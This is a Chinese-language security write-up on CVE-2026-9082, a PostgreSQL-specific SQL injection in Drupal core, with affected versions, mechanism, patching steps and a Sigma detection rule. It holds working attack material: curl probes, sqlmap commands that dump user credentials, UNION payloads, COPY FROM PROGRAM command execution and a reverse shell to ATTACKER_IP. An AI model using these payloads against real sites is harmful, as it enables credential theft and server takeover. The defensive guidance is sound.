类型:SQL 注入 (CWE-89) 受影响产品:Drupal 核心(数据库抽象 API) Drupal 公告:SA-CORE-2026-004 发布时间:2026 年 5 月 20 日 严重性:高度严重(Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 是 Drupal 核心数据库抽象 API 中的一个 SQL 注入 漏洞。Drupal 的数据库层封装了 PDO 并在查询到达数据库之前对所有查询进行净化处理。此漏洞针对 PostgreSQL 后端 绕过了这一净化机制——精心构造的 HTTP 请求能够绕过规范化逻辑,将攻击者控制的 SQL 片段直接注入数据库查询。
MySQL 和 MariaDB 不受此注入向量的影响,但补丁版本还捆绑了对所有后端均适用的关键 Symfony/Twig 修复。
| 分支 | 受影响版本 | 已修复版本 |
|---|---|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
前提条件:目标必须使用 PostgreSQL 作为其数据库后端。
Drupal 的数据库抽象层通过参数化查询/预处理语句对 值 进行净化,但依赖查询构建器提供可信的 结构性 SQL(字段名称、运算符、ORDER BY 目标)。此漏洞存在于 PostgreSQL 驱动程序在处理某些输入模式构建查询时的方式——PostgreSQL 的 SQL 方言与 MySQL 在几个关键方面存在差异:
|| 进行字符串拼接:: 进行类型转换COPY ... FROM PROGRAM 命令经过精心构造的请求会引入一些字符/序列,这些字符/序列能够通过 Drupal 的值级净化,但被 PostgreSQL 解析器解释为 结构性 SQL。攻击面 无需认证 即可触及,任何将用户控制的参数传递给数据库查询的端点(搜索、视图过滤器、表单提交、JSON:API 等)都可能成为目标。
攻击者(未认证)
|
|--> 带有精心构造参数的 HTTP 请求
| (例如搜索字段、过滤器、表单输入)
|
v
Drupal 数据库抽象 API
|
|--> 净化绕过(PostgreSQL 特定)
|
v
PostgreSQL 执行注入的 SQL
|
|--> 信息泄露(转储整个数据库)
|--> 权限提升(注入管理员凭据)
|--> 远程代码执行(PostgreSQL COPY TO PROGRAM、lo_export 等)
COPY TO PROGRAM 'cmd' 实现Drupal 自身警告:"漏洞披露后几小时或几天内就可能出现利用代码"(与历史上 Drupal 数据库层 CVE 如 SA-CORE-2014-005 / Drupalgeddon 一致)。
# 通过数据库抽象层传递用户输入的端点
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# 基于时间的检测(pg_sleep 是 PostgreSQL 独有)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# 基于类型转换的探测(:: 是 PostgreSQL 语法)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# 基于布尔值的区分
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# 确认注入后转储凭据
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- 探测列数
test' ORDER BY 1--
test' ORDER BY 2-- -- 递增直到出错
-- 提取凭据(PostgreSQL 语法)
test' UNION SELECT null,username,password FROM users_field_data--
-- 检查数据库用户是否为超级用户
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- 反弹 shell(替换 ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer(推荐)
composer update drupal/core drupal/core-recommended
# 验证版本
php core/scripts/drupal --version
# 或通过 Drush
drush updb && drush cr
-- 确认应用程序数据库用户不是超级用户
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- 应返回 usesuper = false
阻止模式:pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
确保 PostgreSQL 仅绑定到 localhost 或私有接口;不得从互联网可达。
| 来源 | 信号 |
|---|---|
| Web 日志 | 查询字符串中出现 pg_sleep, ::, UNION SELECT, --, COPY PROGRAM |
| PostgreSQL 日志 | 与 Web 请求时间戳相关的语法错误 |
| Drupal watchdog | 来自搜索/视图/JSONAPI 端点的数据库异常 |
| auditd | postgres 产生子进程(COPY TO PROGRAM) |
| Drupal 用户表 | 新增时间戳较近的 administrator 角色行 |
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 是 Drupal 核心中针对 PostgreSQL 后端的 零认证 SQL 注入。尽管 NVD CVSS 评分为 6.5(中等),但 Drupal 将其评为 20/25(高度严重),因为未认证访问加上 PostgreSQL 的 COPY TO PROGRAM 在配置不当的环境中可直接导致远程代码执行。受影响的版本范围广泛,且补丁同时修复了 Twig 服务器端模板注入,这使得该漏洞成为 关键且紧急的修补项,所有 Drupal 站点,尤其是面向互联网且使用 PostgreSQL 的部署,都应立即更新。
建议操作:立即更新到您所在分支的已修复版本。确认您的数据库应用程序用户不是 PostgreSQL 超级用户。